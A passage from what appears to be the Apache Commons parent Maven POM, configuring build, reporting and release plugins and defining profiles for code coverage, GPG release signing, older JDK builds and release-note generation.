<encoding>${commons.encoding}</encoding>\n            <docEncoding>${commons.docEncoding}</docEncoding>\n            <notimestamp>true</notimestamp>\n            <links>\n              <link>${commons.javadoc.java.link}</link>\n              <link>${commons.javadoc.javaee.link}</link>\n            </links>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.5.1</version>\n        </plugin>\n        <plugin>\n          <!-- TODO see above - find better way to add N&L files to jars and test jars -->\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <!-- override old version from Apache pom 13 -->\n          <version>1.5</version>\n          <configuration>\n            <!--\n                Apache parent POM automatically adds \"LICENSE\" and \"NOTICE\" files\n                to jars - duplicating the \"LICENSE.txt\" and \"NOTICE.txt\"\n                files that components already have.\n             -->\n            <skip>true</skip>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <!-- Apache parent: scm -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>${commons.site-plugin.version}</version>\n          <configuration>\n            <!-- don't deploy site with maven-site-plugin -->\n            <skipDeploy>true</skipDeploy>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.4</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>${commons.surefire.version}</version>\n        </plugin>\n        <!-- Other plugins, alpha order by groupId and artifactId -->\n        <plugin>\n          <groupId>org.apache.commons</groupId>\n          <artifactId>commons-build-plugin</artifactId>\n          <version>1.4</version>\n          <configuration>\n            <commons.release.name>${commons.release.name}</commons.release.name>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>2.5.3</version>\n          <inherited>true</inherited>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>${commons.rat.version}</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>buildnumber-maven-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>${commons.clirr.version}</version>\n          <configuration>\n            <minSeverity>${minSeverity}</minSeverity>\n          </configuration>\n        </plugin>\n        <!-- Apache parent: plexus & modello -->\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n          <!-- Parent POM is released, so needs source archive for ASF mirrors -->\n          <artifactId>maven-assembly-plugin</artifactId>\n          <configuration>\n              <descriptors>\n                  <descriptor>src/main/assembly/src.xml</descriptor>\n              </descriptors>\n              <tarLongFileMode>gnu</tarLongFileMode>\n          </configuration>\n      </plugin>\n      <plugin>\n        <!--\n          - Copy LICENSE.txt and NOTICE.txt so that they are included\n          - in the -javadoc jar file for the component.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>javadoc.resources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <target>\n                <copy todir=\"${project.build.directory}/apidocs/META-INF\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"LICENSE.txt\" />\n                    <include name=\"NOTICE.txt\" />\n                  </fileset>\n                </copy>\n              </target>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n      </plugin>\n      <!-- Unfortunately the much simpler\n           <prerequisites><maven>3.0</maven></prerequisites>\n           is not inherited so we have to use the enforcer plugin\n      -->\n      <plugin>\n        <inherited>true</inherited>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <version>1.3.1</version>\n        <executions>\n          <execution>\n            <id>enforce-maven-3</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireMavenVersion>\n                  <version>3.0.0</version>\n                </requireMavenVersion>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestFile>${commons.manifestfile}</manifestFile>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <Implementation-Build>${implementation.build}</Implementation-Build>\n              <X-Compile-Source-JDK>${maven.compiler.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compiler.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <jvm>${commons.surefire.java}</jvm>\n        </configuration>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-build-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <configuration>\n          <!--\n            dummy entry to stop bundle plugin from picking up jar config and reporting\n            WARNING: Duplicate name in Manifest\n            See http://markmail.org/message/mpkl24wk3jrjhhjg\n          -->\n          <archive>\n            <forced>true</forced>\n          </archive>\n          <excludeDependencies>true</excludeDependencies>\n          <manifestLocation>${project.build.directory}/osgi</manifestLocation>\n          <instructions>\n            <!-- stops the \"uses\" clauses being added to \"Export-Package\" manifest entry -->\n            <_nouses>true</_nouses>\n            <!-- Stop the JAVA_1_n_HOME variables from being treated as headers by Bnd -->\n            <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME,JAVA_1_8_HOME</_removeheaders>\n            <Bundle-SymbolicName>${commons.osgi.symbolicName}</Bundle-SymbolicName>\n            <Export-Package>${commons.osgi.export}</Export-Package>\n            <Private-Package>${commons.osgi.private}</Private-Package>\n            <Import-Package>${commons.osgi.import}</Import-Package>\n            <DynamicImport-Package>${commons.osgi.dynamicImport}</DynamicImport-Package>\n            <Bundle-DocURL>${project.url}</Bundle-DocURL>\n          </instructions>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <!-- Needed for command-line access, e.g mvn apache-rat:rat and mvn apache-rat:check -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n        <!-- Should agree with config in reporting section -->\n        <configuration>\n          <!--\n               If you wish to override this list in the component (child) pom, ensure you use\n                   <excludes combine.children=\"merge\">\n               so that the child pom entries replace the parent entries\n           -->\n          <excludes combine.children=\"append\">\n            <exclude>site-content/**</exclude>\n            <exclude>.checkstyle</exclude>\n            <exclude>.fbprefs</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n            <exclude>src/site/resources/profile.*</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <version>${commons.scm-publish.version}</version>\n        <configuration>\n          <content>${project.reporting.outputDirectory}</content>\n          <pubScmUrl>scm:svn:${commons.scmPubUrl}</pubScmUrl>\n          <checkoutDirectory>${commons.scmPubCheckoutDirectory}</checkoutDirectory>\n          <serverId>${commons.scmPubServer}</serverId>\n          <tryUpdate>true</tryUpdate>\n        </configuration>\n        <executions>\n          <execution>\n            <id>scm-publish</id>\n            <phase>site-deploy</phase><!-- deploy site with maven-scm-publish-plugin -->\n            <goals>\n              <goal>publish-scm</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n    </plugins>\n  </build>\n\n  <reporting>\n    <!-- N.B. plugins defined here in the <reporting> section ignore what's defined in <pluginManagement>\n         in the <build> section above, so we have to define the versions here. -->\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>${commons.changes.version}</version>\n        <configuration>\n          <xmlPath>${basedir}/src/changes/changes.xml</xmlPath>\n          <columnNames>Fix Version,Key,Component,Summary,Type,Resolution,Status</columnNames>\n          <!-- Sort cols in natural order when using JQL for JIRA 5.1 -->\n          <sortColumnNames>Fix Version DESC,Type,Key DESC</sortColumnNames>\n          <resolutionIds>Fixed</resolutionIds>\n          <statusIds>Resolved,Closed</statusIds>\n          <!-- Don't include sub-task -->\n          <typeIds>Bug,New Feature,Task,Improvement,Wish,Test</typeIds>\n          <!-- For JIRA >= 5.1 -->\n          <useJql>true</useJql>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n              <report>jira-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>${commons.javadoc.version}</version>\n        <configuration>\n          <!-- keep only errors and warnings -->\n          <quiet>true</quiet>\n          <source>${maven.compiler.source}</source>\n          <encoding>${commons.encoding}</encoding>\n          <docencoding>${commons.docEncoding}</docencoding>\n          <notimestamp>true</notimestamp>\n          <linksource>true</linksource>\n          <!-- prevent svnpub to be too much noisy -->\n          <notimestamp>true</notimestamp>\n          <links>\n            <link>${commons.javadoc.java.link}</link>\n            <link>${commons.javadoc.javaee.link}</link>\n          </links>\n        </configuration>\n        <!-- Suppress test Javadocs -->\n        <reportSets>\n          <reportSet>\n            <id>default</id>\n            <reports>\n              <report>javadoc</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>${commons.jxr.version}</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>${commons.project-info.version}</version>\n        <!--\n            Unfortunately it does not appear to be possible to override\n            reports configured in a parent POM.\n            See https://jira.codehaus.org/browse/MPIR-241\n            and https://issues.apache.org/jira/browse/MPOM-32\n            So we define here all those reports that are suitable for\n            all components.\n            Components can add extra reports if they wish, but cannot disable any.\n        -->\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>modules</report>\n<!--          <report>license</report>               site must link to ASF page instead  -->\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-info</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n<!--          <report>plugin-management</report>      not very useful for end users -->\n<!--          <report>plugins</report>                not very useful for end users -->\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>${commons.site-plugin.version}</version>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>${commons.surefire.version}</version>\n        <configuration>\n          <aggregate>${commons.surefire-report.aggregate}</aggregate>\n        </configuration>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n        <!-- Should agree with config in build section -->\n        <configuration>\n          <!--\n               If you wish to override this list in the component (child) pom, ensure you use\n                   <excludes combine.children=\"merge\">\n               so that the child pom entries replace the parent entries\n           -->\n          <excludes combine.children=\"append\">\n            <exclude>site-content/**</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n            <exclude>src/site/resources/profile.*</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>${commons.clirr.version}</version>\n          <configuration>\n              <minSeverity>${minSeverity}</minSeverity>\n          </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>${commons.jdepend.version}</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n\n    <profile>\n      <id>jacoco</id>\n      <activation>\n        <!--\n            N.B. in spite of what the Maven docs may say,\n            activation conditions are ORed together, see:\n            http://jira.codehaus.org/browse/MNG-4565\n            Fairly useless, but that's what was done in\n            http://jira.codehaus.org/browse/MNG-3106\n\n            So we cannot also check for Java 1.5+\n            This should not be a problem now as the profile is optional.\n            Components that still target Java 1.4 or earlier\n            just need to ensure they don't use JaCoCo by default.\n        -->\n        <file>\n          <exists>src/site/resources/profile.jacoco</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n          <groupId>org.jacoco</groupId>\n          <artifactId>jacoco-maven-plugin</artifactId>\n          <version>${commons.jacoco.version}</version>\n          <!-- Note that since JaCoCo relies on an agent to perform tests,\n               it changes the surefire arguments line. If a component also\n               needs to change the argument line of maven-surefire-plugin,\n               then it must add ${argLine} property (which is set by JaCoCo)\n               in the argLine configuration element of maven-surefire-plugin\n               to preserve JaCoCo settings. -->\n          <executions>\n            <execution>\n              <id>prepare-agent</id>\n              <phase>process-test-classes</phase>\n              <goals>\n                <goal>prepare-agent</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>report</id>\n              <phase>site</phase>\n              <goals>\n                <goal>report</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>check</id>\n              <goals>\n                <goal>check</goal>\n              </goals>\n              <configuration>\n                <rules>\n                  <rule>\n                    <element>BUNDLE</element>\n                    <limits>\n                      <limit>\n                        <counter>CLASS</counter>\n                        <value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.classRatio}</minimum>\n                      </limit>\n                      <limit>\n                        <counter>INSTRUCTION</counter>\n                        <value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.instructionRatio}</minimum>\n                      </limit>\n                      <limit>\n                        <counter>METHOD</counter>\n                        <value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.methodRatio}</minimum>\n                      </limit>\n                      <limit>\n                        <counter>BRANCH</counter>\n                        <value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.branchRatio}</minimum>\n                      </limit>\n                      <limit>\n                        <counter>LINE</counter>\n                        <value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.lineRatio}</minimum>\n                      </limit>\n                      <limit>\n                        <counter>COMPLEXITY</counter>\n                        <value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.complexityRatio}</minimum>\n                      </limit>\n                    </limits>\n                  </rule>\n                </rules>\n                <haltOnFailure>${commons.jacoco.haltOnFailure}</haltOnFailure>\n              </configuration>\n            </execution>\n          </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.jacoco</groupId>\n            <artifactId>jacoco-maven-plugin</artifactId>\n            <version>${commons.jacoco.version}</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n\n    <profile>\n      <id>cobertura</id>\n      <activation>\n        <file>\n          <exists>src/site/resources/profile.cobertura</exists>\n        </file>\n      </activation>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>${commons.cobertura.version}</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n\n    <!--\n         Profile for Commons releases via Nexus.\n         Assembles artifacts, creates source and javadoc jars, signs them and adds hashes.\n    -->\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n                <configuration>\n                 <!-- Avoids an error when releasing the parent pom -->\n                 <skipIfEmpty>true</skipIfEmpty>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prelease</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>javadoc</goal>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n            <configuration>\n              <source>${maven.compiler.source}</source>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <inherited>true</inherited>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n     <!--\n       profile to update the Apache parent pom profile of the same name\n       to better suit the requirements of Apache Commons.\n       [Requires further work]\n     -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n                <releaseProfiles>apache-release</releaseProfiles>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-test-sources</id>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.3\n       (JAVA_1_3_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.3</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.3</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_3_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_3_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.4\n       (JAVA_1_4_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.4</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.4</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_4_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_4_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.5\n       (JAVA_1_5_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.5</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.5</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_5_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_5_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.6\n       (JAVA_1_6_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.6</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.6</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_6_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_6_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.7\n       (JAVA_1_7_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.7</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.7</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_7_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_7_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.8\n       (JAVA_1_8_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.8</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.8</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_8_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_8_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.9\n       (JAVA_1_9_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.9</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.9</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_9_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_9_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!-- N.B. when adding new java profiles, be sure to update\n         the _removeheaders list in the maven_bundle_plugin configuration -->\n\n    <!--\n     | Profile to allow testing of deploy phase\n     | e.g.\n     | mvn deploy -Ptest-deploy -Prelease -Dgpg.skip\n     -->\n    <profile>\n      <id>test-deploy</id>\n      <properties>\n        <altDeploymentRepository>id::default::file:target/deploy</altDeploymentRepository>\n      </properties>\n    </profile>\n\n    <!--\n      Profile to build all Commons \"proper\" components.\n\n      The trunks of all \"proper\" components can be checked out using:\n          https://svn.apache.org/repos/asf/commons/trunks-proper/\n\n      This profile is a convenience which can be used, for example, to build all the component sites:\n          mvn -Ptrunks-proper site\n\n      or, to clean up:\n          mvn -Ptrunks-proper clean\n\n      see http://issues.apache.org/jira/browse/COMMONSSITE-30\n      -->\n    <profile>\n      <id>trunks-proper</id>\n      <modules>\n        <!-- not yet using mvn module>../attributes</module-->\n        <module>../bcel</module>\n        <module>../beanutils</module>\n        <module>../betwixt</module>\n        <module>../chain</module>\n        <module>../cli</module>\n        <module>../codec</module>\n        <module>../collections</module>\n        <module>../compress</module>\n        <module>../configuration</module>\n        <module>../daemon</module>\n        <module>../dbcp</module>\n        <module>../dbutils</module>\n        <module>../digester</module>\n        <module>../discovery</module>\n        <module>../el</module>\n        <module>../email</module>\n        <module>../exec</module>\n        <module>../fileupload</module>\n        <module>../functor</module>\n        <module>../imaging</module>\n        <module>../io</module>\n        <module>../jci</module>\n        <module>../jcs</module>\n        <!-- not yet using mvn module>../jelly</module-->\n        <module>../jexl</module>\n        <module>../jxpath</module>\n        <module>../lang</module>\n        <module>../launcher</module>\n        <module>../logging</module>\n        <module>../math</module>\n        <module>../modeler</module>\n        <module>../net</module>\n        <module>../ognl</module>\n        <module>../pool</module>\n        <module>../primitives</module>\n        <module>../proxy</module>\n        <module>../scxml</module>\n        <!-- not yet using mvn module>../transaction</module-->\n        <module>../validator</module>\n        <module>../vfs</module>\n      </modules>\n    </profile>\n\n    <!--\n        Configure site plugin to support both Maven2 and Maven3, see:\n        http://maven.apache.org/plugins/maven-site-plugin/maven-3.html#Using_the_same_version_of_maven-site-plugin_for_both_Maven_2_and_Maven_3\n    -->\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  The basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-site-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                  <!-- add support for ssh/scp -->\n                  <groupId>org.apache.maven.wagon</groupId>\n                  <artifactId>wagon-ssh</artifactId>\n                  <version>${commons.wagon-ssh.version}</version>\n                </dependency>\n              </dependencies>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <!--\n          Generate release notes in top-level directory from src/changes/changes.xml\n          Usage:\n          mvn changes:announcement-generate -Prelease-notes [-Dchanges.version=nnn]\n\n          Defining changes.version allows one to create the RN without first removing the SNAPSHOT suffix.\n\n          Requires file src/changes/release-notes.vm.\n          A sample template is available from:\n          https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk/src/changes/release-notes.vm\n       -->\n      <id>release-notes</id>\n      <build>\n        <plugins>\n           <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>${commons.changes.version}</version>\n            <configuration>\n              <template>release-notes.vm</template>\n              <templateDirectory>src/changes</templateDirectory>\n              <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n              <outputDirectory>.</outputDirectory>\n              <announcementFile>RELEASE-NOTES.txt</announcementFile>\n              <announceParameters>\n                <releaseVersion>${commons.release.version}</releaseVersion>\n              </announceParameters>\n            </configuration>\n            <executions>\n              <execution>\n                <id>create-release-notes</id>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>announcement-generate</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n        Automatically run the buildnumber plugin unless the buildNumber.skip property is defined as true\n    -->\n    <profile>\n     <id>svn-buildnumber</id>\n     <activation>\n       <property><name>!buildNumber.skip</name><value>!true</value></property>\n     </activation>\n     <build>\n       <plugins>\n         <plugin>\n           <groupId>org.codehaus.mojo</groupId>\n           <artifactId>buildnumber-maven-plugin</artifactId>\n           <executions>\n             <execution>\n               <phase>generate-resources</phase>\n               <goals>\n                 <goal>create</goal>\n               </goals>\n             </execution>\n           </executions>\n           <configuration>\n             <!-- Use committed revision so it does not change every time svn update is run -->\n             <useLastCommittedRevision>true</useLastCommittedRevision>\n             <!-- default revision number if unavailable -->\n             <revisionOnScmFailure>??????</revisionOnScmFailure>\n             <doCheck>false</doCheck>\n             <doUpdate>false</doUpdate>\n           </configuration>\n         </plugin>\n       </plugins>\n     </build>\n   </profile>\n   <!-- optional profile to use javasvn instead of the SVN CLI for the buildNumber plugin -->\n   <profile>\n     <id>javasvn</id>\n     <build>\n       <plugins>\n         <plugin>\n           <groupId>org.codehaus.mojo</groupId>\n           <artifactId>buildnumber-maven-plugin</artifactId>\n           <configuration>\n             <providerImplementations>\n               <svn>javasvn</svn>\n             </providerImplementations>\n           </configuration>\n         </plugin>\n       </plugins>\n     </build>\n   </profile>\n 